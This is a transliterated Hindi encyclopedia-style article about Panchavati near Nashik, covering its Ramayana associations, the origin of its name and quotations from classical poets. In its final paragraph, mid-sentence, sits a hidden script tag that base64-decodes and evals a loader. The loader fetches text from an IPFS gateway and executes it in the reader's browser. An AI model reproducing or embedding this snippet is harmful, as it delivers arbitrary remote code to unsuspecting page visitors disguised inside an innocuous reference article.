पंचवटी
panchavati nasik zila, maharashtr mean godavari nadi ke nikat sthit ek prasiddh pauranik sthan hai. yahaan par bhagavan shriram, lakshman aur sita sahit apane vanavas kal mean kafi dinoan tak rahe the aur yahian se lanka ke raja ravan ne mata sita ka haran kiya tha. isi sthan par lakshman ne shoorpanakha ke nak aur kan kat lie the. yahaan shriram ka banaya hua ek mandir khandahar roop mean vidyaman hai. panchavati ka varnan 'ramacharitamanas', 'ramachandrika', 'saket', 'panchavati' evan 'saket-sant' adi pray: sabhi ramakatha sambandhi kavyoan mean milata hai.
namakaran
marich ka vadh panchavati ke nikat hi mrigavyadheshvar mean hua tha. grigharaj jatayu se shriram ki maitri bhi yahian huee thi. panchavati ke namakaran ka karan panchavatoan ki upasthiti kahi jati hai- 'panchanaan vatanaan samahar iti panchavati'. ye panchavat is prakar haian-
- ashvatth
- amalak
- vat
- vilb
- ashok
mahakavyoan mean ullekh
valmiki ramayan, aranyakaand[1] mean panchavati ka manohar varnan hai, jisaka ek aansh is prakar hai-
'ayan panchavati desh: saumy pushpitakanan:, yatha khyatamagastyen munina bhavitatmana. iyan godavari ramya pushpitaistarubhivrianta, hansakarandavakirna chakravakopashobhita. natindoore chasanne mrig yooth nipidita. mayooranadit ramya: praanshavo bahukandara:, drishyante giray: saumya: phullaistarubhiravritta. sauvarn: rajataistabhrairdeshedeshe tatha shubhe: gavakshita iv bhanti gaja: paramabhaktibhi:'[2].
uparyukt uddharanoan se jnat hota hai ki panchavati godavari nadi ke tat par sthit thi.
- kalidas ne raghuvansh mean kee sthanoan par panchavati ka varnan kiya hai-
'anandayatyunmukhkrishnasara drishtachirath panchavati mano mean[3]
'panchavatyaan tatoram: shasanath krianbhajanman: anashodhasthitistasthau viandhyadriprakritaviv'[4]
- raghuvansh[5] mean panchavati ko godavari nadi ke tat par sthit bataya gaya hai-
'atranugodan mrigaya nivrittastarangatraten vinitakhed: rahasyadutsang nishannamoordha smarami vaniragriheshu supt:'.
- bhavabhooti ne uttar ramacharit, dvitiy aank mean panchavati ka shriram ke dvara unaki poorv smriti janit udveg ke karan karunajanak varnan kiya hai-
'atraiv sa panchavati yatr chiranivasen dividhavisrambhatiprasangasakshin: pradesha: pripaya: priyasakhi ch vasanti nam van devata:, 'yasyaan te divasastaya sah mayanita yatha svegrihe, yatsanbandh katha bhirev satatan dirghabhirasthiyat. ek: sanpratinashit priyatamastamev ram: kathan, pap: panchavati vilokayatu va gachchhatv sanbhavy va'.
- valmiki aur kalidas ke saman hi adhyatmaramayan mean panchavati ko agasty ne shriram ke rahane ke lie upayukt bataya tha.[6] tulasidas ne ramacharitamanas ke aranyakaand mean agasty dvara hi shriram ko panchavati bhijavaya hai-
'he prabhu param manohar thaooan, pavan panchavati tehi naooan. dandak van punit prabhu karahoo, uprashap munivar ke harahoo. chale ram muni ayus paee, turatahi panchavati niyaraee. gridharaj soan bheant bhee bahuvidhi priti dridhay, godavari samip prabhu rahe parnagrih chhay'.
panchavati janasthan ya dandak van mean sthit thi. panchavati ya nasik se godavari ka udgam sthan tryanmbakeshvar lagabhag 20 mil (lagabhag 32 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> door hai.
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tika tippani aur sandarbh
- ↑ valmiki ramayan, aranyakaand 15
- ↑ valmiki ramayan, aranyakaand 15, 2-12-13-14-15
- ↑ 'raghuvansh 13, 34.
- ↑ raghuvansh 12, 31 (is shlok mean valmiki ramayan aranyakaand 15, 12 ke saman hi, agasty rrishi ki ajnanusar shri ram ka panchavati mean jakar rahana kaha gaya hai).
- ↑ raghuvansh 13, 35
- ↑ valmiki ramayan, aranyakaand 3, 48
sanbandhit lekh
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